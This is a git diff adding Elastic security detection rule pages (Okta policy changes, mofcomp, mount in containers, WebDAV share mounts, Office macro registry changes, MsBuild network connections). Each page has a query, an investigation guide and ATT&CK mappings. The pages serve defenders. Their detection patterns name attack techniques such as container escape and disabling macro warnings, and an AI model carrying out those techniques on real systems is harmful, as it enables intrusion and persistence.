+[[prebuilt-rule-8-19-34-modification-or-removal-of-an-okta-application-sign-on-policy]] +=== Modification or Removal of an Okta Application Sign-On Policy + +Detects attempts to modify or delete a sign on policy for an Okta application. An adversary may attempt to modify or delete the sign on policy for an Okta application in order to remove or weaken an organization's security controls. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://help.okta.com/en/prod/Content/Topics/Security/App_Based_Signon.htm +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Tactic: Persistence +* Use Case: Identity and Access Audit +* Data Source: Okta +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Okta +* Domain: Identity + +*Version*: 416 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Modification or Removal of an Okta Application Sign-On Policy* + + +Okta's sign-on policies are crucial for enforcing authentication controls within an organization. Adversaries may target these policies to weaken security by modifying or removing them, thus bypassing authentication measures. The detection rule monitors system events for updates or deletions of sign-on policies, flagging potential unauthorized changes to maintain security integrity. + + +*Possible investigation steps* + + +- Review the event logs for entries with the dataset field set to okta.system to confirm the source of the alert. +- Examine the event.action field for values application.policy.sign_on.update or application.policy.sign_on.rule.delete to identify the specific action taken. +- Identify the user or system account associated with the event to determine if the action was performed by an authorized individual. +- Check the timestamp of the event to correlate with any other suspicious activities or changes in the system around the same time. +- Investigate the history of changes to the affected sign-on policy to understand the context and frequency of modifications or deletions. +- Assess the impact of the policy change on the organization's security posture and determine if any immediate remediation is necessary. +- If unauthorized activity is suspected, initiate a security incident response to contain and mitigate potential threats. + + +*False positive analysis* + + +- Routine administrative updates to sign-on policies by authorized personnel can trigger alerts. To manage this, establish a list of trusted users or roles and create exceptions for their actions. +- Scheduled maintenance or policy reviews may involve legitimate modifications or deletions. Document these activities and adjust the detection rule to exclude events during known maintenance windows. +- Automated scripts or tools used for policy management might cause false positives. Identify these tools and configure the rule to recognize and exclude their expected actions. +- Changes due to integration with third-party applications can be mistaken for unauthorized modifications. Verify these integrations and whitelist their associated actions to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected Okta application to prevent further unauthorized access or changes. This can be done by disabling the application temporarily until the issue is resolved. +- Review the audit logs to identify the source of the modification or deletion attempt, focusing on the user account and IP address associated with the event. +- Revert any unauthorized changes to the sign-on policy by restoring it to the last known good configuration. Ensure that all security controls are reinstated. +- Conduct a thorough review of user accounts with administrative privileges in Okta to ensure they are legitimate and have not been compromised. Reset passwords and enforce multi-factor authentication (MFA) for these accounts. +- Notify the security team and relevant stakeholders about the incident, providing details of the attempted policy modification or deletion and the steps taken to contain the threat. +- Escalate the incident to higher-level security management if the source of the threat is internal or if there is evidence of a broader compromise. +- Implement additional monitoring and alerting for any future attempts to modify or delete sign-on policies, ensuring that similar threats are detected and addressed promptly. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and event.action:(application.policy.sign_on.update or application.policy.sign_on.rule.delete) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Conditional Access Policies +** ID: T1556.009 +** Reference URL: https://attack.mitre.org/techniques/T1556/009/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Conditional Access Policies +** ID: T1556.009 +** Reference URL: https://attack.mitre.org/techniques/T1556/009/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-mofcomp-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-mofcomp-activity.asciidoc new file mode 100644 index 0000000000..032db03831 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-mofcomp-activity.asciidoc @@ -0,0 +1,169 @@ +[[prebuilt-rule-8-19-34-mofcomp-activity]] +=== Mofcomp Activity + +Managed Object Format (MOF) files can be compiled locally or remotely through mofcomp.exe. Attackers may leverage MOF files to build their own namespaces and classes into the Windows Management Instrumentation (WMI) repository, or establish persistence using WMI Event Subscription. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-system.security* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Microsoft Defender XDR +* Data Source: Elastic Endgame +* Data Source: Windows Security Event Logs +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 13 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Mofcomp Activity* + +Mofcomp.exe is a tool used to compile Managed Object Format (MOF) files, which define classes and namespaces in the Windows Management Instrumentation (WMI) repository. Adversaries exploit this by creating malicious WMI scripts for persistence or execution. The detection rule identifies suspicious mofcomp.exe activity by filtering out legitimate processes and focusing on unusual executions, excluding known safe parent processes and system accounts. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of mofcomp.exe and verify the command-line arguments used, focusing on any unusual or unexpected MOF file paths. +- Investigate the user account associated with the process execution, especially if it is not the system account (S-1-5-18), to determine if the account has been compromised or is being misused. +- Examine the parent process of mofcomp.exe to ensure it is not a known safe process like ScenarioEngine.exe, and assess whether the parent process is legitimate or potentially malicious. +- Check for any recent changes or additions to the WMI repository, including new namespaces or classes, which could indicate malicious activity or persistence mechanisms. +- Correlate the alert with other security events or logs from data sources like Microsoft Defender XDR or Crowdstrike to identify any related suspicious activities or patterns. + + +*False positive analysis* + + +- Legitimate SQL Server operations may trigger the rule when SQL Server components compile MOF files. To handle this, exclude processes with parent names like ScenarioEngine.exe and specific MOF file paths related to SQL Server. +- System maintenance tasks executed by trusted system accounts can cause false positives. Exclude activities initiated by the system account with user ID S-1-5-18 to reduce noise. +- Regular administrative tasks involving WMI may appear suspicious. Identify and document these tasks, then create exceptions for known safe parent processes or specific MOF file paths to prevent unnecessary alerts. +- Software installations or updates that involve MOF file compilation might be flagged. Monitor installation logs and exclude these processes if they are verified as part of legitimate software updates. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate the mofcomp.exe process if it is confirmed to be executing malicious MOF files. +- Conduct a thorough review of the WMI repository to identify and remove any unauthorized namespaces or classes that may have been created by the attacker. +- Remove any malicious MOF files from the system to prevent re-execution. +- Restore the system from a known good backup if unauthorized changes to the WMI repository or system files are detected. +- Monitor for any recurrence of similar activity by setting up alerts for unusual mofcomp.exe executions and unauthorized WMI modifications. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : "mofcomp.exe" and process.args : "*.mof" and + not user.id : "S-1-5-18" and + not process.args : ( + "?:\\Program Files (x86)\\Microsoft Power BI Report Server\\*.mof", + "?:\\Program Files (x86)\\Microsoft SQL Server Reporting Services\\*.mof", + "?:\\Program Files (x86)\\Microsoft SQL Server\\*.mof", + "?:\\Program Files\\Microsoft Policy Platform\\*.mof", + "?:\\Program Files\\Microsoft Power BI Report Server\\*.mof", + "?:\\Program Files\\Microsoft SQL Server Reporting Services\\*.mof", + "?:\\Program Files\\Microsoft SQL Server\\*.mof", + "?:\\Windows\\System32\\wbem\\com.hp.provider.*.mof", + "?:\\Windows\\System32\\wbem\\CxAudioSvc_*.mof", + "?:\\Windows\\System32\\wbem\\Framework\\root\\*.mof", + "?:\\Windows\\System32\\wbem\\Veeam.Backup.*.mof", + "?:\\Windows\\System32\\wbem\\ZTITatoo.mof", + "?:\\Windows\\SysWOW64\\wbem\\Framework\\root\\*.mof" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Windows Management Instrumentation +** ID: T1047 +** Reference URL: https://attack.mitre.org/techniques/T1047/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Windows Management Instrumentation Event Subscription +** ID: T1546.003 +** Reference URL: https://attack.mitre.org/techniques/T1546/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-mount-launched-inside-a-container.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-mount-launched-inside-a-container.asciidoc new file mode 100644 index 0000000000..d72e2030ee --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-mount-launched-inside-a-container.asciidoc @@ -0,0 +1,163 @@ +[[prebuilt-rule-8-19-34-mount-launched-inside-a-container]] +=== Mount Launched Inside a Container + +This rule detects the use of the mount utility from inside a container. The mount command is used to make a device or file system accessible to the system, and then to connect its root directory to a specified mount point on the local file system. When launched inside a privileged container--a container deployed with all the capabilities of the host machine-- an attacker can access sensitive host level files which could be used for further privilege escalation and container escapes to the host machine. Any usage of mount inside a running privileged container should be further investigated. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation#privileged + +*Tags*: + +* Domain: Containers +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Domain: Endpoint + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Mount Launched Inside a Container* + + +In containerized environments, the `mount` utility is crucial for attaching file systems to the system's directory tree. When executed within a privileged container, which has extensive host capabilities, it can be exploited by adversaries to access sensitive host files, potentially leading to privilege escalation or container escapes. The detection rule identifies such misuse by monitoring the execution of `mount` in containers, flagging potential security threats for further investigation. + + +*Possible investigation steps* + + +- Review the alert details to confirm that the process name or arguments include "mount" and that the container's security context is marked as privileged. +- Check the container's deployment configuration to verify if it was intentionally set as privileged and assess whether this level of privilege is necessary for its function. +- Investigate the user or process that initiated the mount command within the container to determine if it aligns with expected behavior or if it indicates potential malicious activity. +- Examine the mounted file systems and directories to identify any sensitive host files that may have been accessed or exposed. +- Review logs and historical data for any previous suspicious activities associated with the same container or user to identify patterns or repeated attempts at privilege escalation. + + +*False positive analysis* + + +- Routine maintenance tasks within privileged containers may trigger the rule. Exclude known maintenance scripts or processes by adding them to an exception list based on their unique identifiers or command patterns. +- Backup operations that require mounting file systems might be flagged. Identify and exclude these operations by specifying the backup process names or arguments in the rule exceptions. +- Development or testing environments often use privileged containers for convenience. If these environments are known and controlled, consider excluding them by container IDs or labels to reduce noise. +- Automated deployment tools that use mount commands in privileged containers can be mistaken for threats. Review and whitelist these tools by their process names or specific arguments to prevent false alerts. +- Certain monitoring or logging solutions may use mount operations for data collection. Verify these solutions and exclude their processes if they are legitimate and necessary for system operations. + + +*Response and remediation* + + +- Immediately isolate the affected container to prevent further access to sensitive host files. This can be done by stopping the container or disconnecting it from the network. +- Review and revoke any unnecessary privileges from the container's security context to prevent similar incidents. Ensure that containers run with the least privileges necessary. +- Conduct a thorough analysis of the container's file system and logs to identify any unauthorized access or modifications to host files. +- If unauthorized access is confirmed, perform a comprehensive audit of the host system to check for any signs of compromise or privilege escalation attempts. +- Patch and update the container image and host system to address any vulnerabilities that may have been exploited. +- Implement stricter access controls and monitoring for privileged containers, ensuring that only trusted users and processes can execute sensitive commands like `mount`. +- Escalate the incident to the security operations team for further investigation and to assess the need for additional security measures or incident response actions. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. + +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and +process.entry_leader.entry_meta.type == "container" and process.name == "mount" and not ( + process.parent.command_line like "*grep*" or + process.parent.executable like ( + "/usr/local/bin/dind", "/run/k3s/containerd/io.containerd.runtime.v2.task/k8s.io/*/longhorn-instance-manager", + "/run/k3s/containerd/io.containerd.runtime.v2.task/k8s.io/*/longhorn-manager", "/usr/sbin/update-binfmts", + "/usr/local/bin/engine-manager", "/usr/bin/timeout", "/opt/gitlab/embedded/bin/ruby", "/usr/local/sbin/longhorn-manager", + "/longhorn-share-manager", "/usr/lib/systemd/systemd", "/lib/systemd/systemd" + ) or + process.parent.args in ("/usr/local/bin/instance-manager", "/usr/local/sbin/nsmounter") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-mounting-hidden-or-webdav-remote-shares.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-mounting-hidden-or-webdav-remote-shares.asciidoc new file mode 100644 index 0000000000..56cb8004ff --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-mounting-hidden-or-webdav-remote-shares.asciidoc @@ -0,0 +1,192 @@ +[[prebuilt-rule-8-19-34-mounting-hidden-or-webdav-remote-shares]] +=== Mounting Hidden or WebDav Remote Shares + +Identifies the use of net.exe to mount a WebDav or hidden remote share. This may indicate lateral movement or preparation for data exfiltration. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Lateral Movement +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: WebDAV Abuse +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 318 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Mounting Hidden or WebDav Remote Shares* + + +WebDav and hidden remote shares facilitate file sharing and collaboration across networks, often used in enterprise environments. Adversaries exploit these to move laterally or exfiltrate data by mounting shares using tools like net.exe. The detection rule identifies suspicious share mounts by monitoring specific command patterns, excluding benign operations, to flag potential threats. + + +*Possible investigation steps* + + +- Review the process details to confirm the use of net.exe or net1.exe for mounting shares, focusing on the process.name and process.pe.original_file_name fields. +- Examine the process.args field to identify the specific share being accessed, noting any patterns like "\\\\*\\*$*", "\\\\*@SSL\\*", or "http*" that indicate hidden or WebDav shares. +- Check the parent process information to determine if net1.exe was executed independently or as a child of another suspicious process, which could suggest malicious intent. +- Investigate the user account associated with the process to verify if the activity aligns with their typical behavior or if it appears anomalous. +- Correlate the event with other logs or alerts from the same host or user to identify any patterns of lateral movement or data exfiltration attempts. +- Assess the network activity around the time of the alert to detect any unusual outbound connections that might indicate data exfiltration. + + +*False positive analysis* + + +- Legitimate use of net.exe for mounting network drives in enterprise environments can trigger false positives. Users can create exceptions for known internal IP addresses or specific user accounts frequently performing these actions. +- Automated scripts or system processes that use net.exe to connect to WebDav or hidden shares for legitimate purposes may be flagged. Identify these scripts and processes, and exclude them by their process hash or command line patterns. +- Regular operations involving OneDrive or other cloud-based services might be misidentified as suspicious. Exclude these by specifying known service URLs or domains in the detection rule. +- Administrative tasks involving network share management can be mistaken for threats. Document and exclude these tasks by correlating them with scheduled maintenance windows or specific admin user accounts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further lateral movement or data exfiltration. +- Terminate any suspicious processes related to net.exe or net1.exe that are actively mounting hidden or WebDav shares. +- Conduct a thorough review of recent file access and transfer logs to identify any unauthorized data access or exfiltration attempts. +- Change credentials for any accounts that were used in the suspicious activity to prevent further unauthorized access. +- Implement network segmentation to limit access to critical systems and sensitive data, reducing the risk of lateral movement. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are compromised. +- Enhance monitoring and alerting for similar activities by ensuring that all relevant security tools are configured to detect and alert on suspicious use of net.exe and net1.exe. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + ((process.name : "net.exe" or ?process.pe.original_file_name == "net.exe") or ((process.name : "net1.exe" or ?process.pe.original_file_name == "net1.exe") and + not process.parent.name : "net.exe")) and + process.args : "use" and + /* including hidden and webdav based online shares such as onedrive */ + process.args : ("\\\\*\\*$*", "\\\\*@SSL\\*", "http*") and + /* excluding shares deletion operation */ + not process.args : "/d*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SMB/Windows Admin Shares +** ID: T1021.002 +** Reference URL: https://attack.mitre.org/techniques/T1021/002/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Local Accounts +** ID: T1078.003 +** Reference URL: https://attack.mitre.org/techniques/T1078/003/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Sub-technique: +** Name: Local Account +** ID: T1087.001 +** Reference URL: https://attack.mitre.org/techniques/T1087/001/ +* Sub-technique: +** Name: Domain Account +** ID: T1087.002 +** Reference URL: https://attack.mitre.org/techniques/T1087/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ms-office-macro-security-registry-modifications.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ms-office-macro-security-registry-modifications.asciidoc new file mode 100644 index 0000000000..c9f1a4963a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ms-office-macro-security-registry-modifications.asciidoc @@ -0,0 +1,175 @@ +[[prebuilt-rule-8-19-34-ms-office-macro-security-registry-modifications]] +=== MS Office Macro Security Registry Modifications + +Microsoft Office Products offer options for users and developers to control the security settings for running and using Macros. Adversaries may abuse these security settings to modify the default behavior of the Office Application to trust future macros and/or disable security warnings, which could increase their chances of establishing persistence. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 314 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating MS Office Macro Security Registry Modifications* + + +Macros are small programs that are used to automate repetitive tasks in Microsoft Office applications. Historically, macros have been used for a variety of reasons -- from automating part of a job, to building entire processes and data flows. Macros are written in Visual Basic for Applications (VBA) and are saved as part of Microsoft Office files. + +Macros are often created for legitimate reasons, but they can also be written by attackers to gain access, harm a system, or bypass other security controls such as application allow listing. In fact, exploitation from malicious macros is one of the top ways that organizations are compromised today. These attacks are often conducted through phishing or spear phishing campaigns. + +Attackers can convince victims to modify Microsoft Office security settings, so their macros are trusted by default and no warnings are displayed when they are executed. These settings include: + +- *Trust access to the VBA project object model* - When enabled, Microsoft Office will trust all macros and run any code without showing a security warning or requiring user permission. +- *VbaWarnings* - When set to 1, Microsoft Office will trust all macros and run any code without showing a security warning or requiring user permission. + +This rule looks for registry changes affecting the conditions above. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the user and check if the change was done manually. +- Verify whether malicious macros were executed after the registry change. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Retrieve recently executed Office documents and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - File and registry access, modification, and creation activities. + - Service creation and launch activities. + - Scheduled task creation. + - Use the PowerShell Get-FileHash cmdlet to get the files' SHA-256 hash values. + - Search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This activity should not happen legitimately. The security team should address any potential benign true positive (B-TP), as this configuration can put the user and the domain at risk. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Reset the registry key value. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Explore using GPOs to manage security settings for Microsoft Office macros. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires telemetry from one of the configured source integrations to be enabled and ingested. + + +*Supported data sources* + + +This rule can use the following data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.value : ("AccessVBOM", "VbaWarnings") and + registry.data.strings : ("0x00000001", "1") + +/* + Full registry key paths omitted due to data source variations: + "HKCU\\S-1-*\\SOFTWARE\\Microsoft\\Office\\*\\Security\\AccessVBOM" + "HKCU\\S-1-*\\SOFTWARE\\Microsoft\\Office\\*\\Security\\VbaWarnings" +*/ + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-msbuild-making-network-connections.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-msbuild-making-network-connections.asciidoc new file mode 100644 index 0000000000..f3af712b9b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-msbuild-making-network-connections.asciidoc @@ -0,0 +1,188 @@ +[[prebuilt-rule-8-19-34-msbuild-making-network-connections]] +=== MsBuild Making Network Connections + +Identifies MsBuild.exe making outbound network connections. This may indicate adversarial activity as MsBuild is often leveraged by adversaries to execute code and evade detection. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m 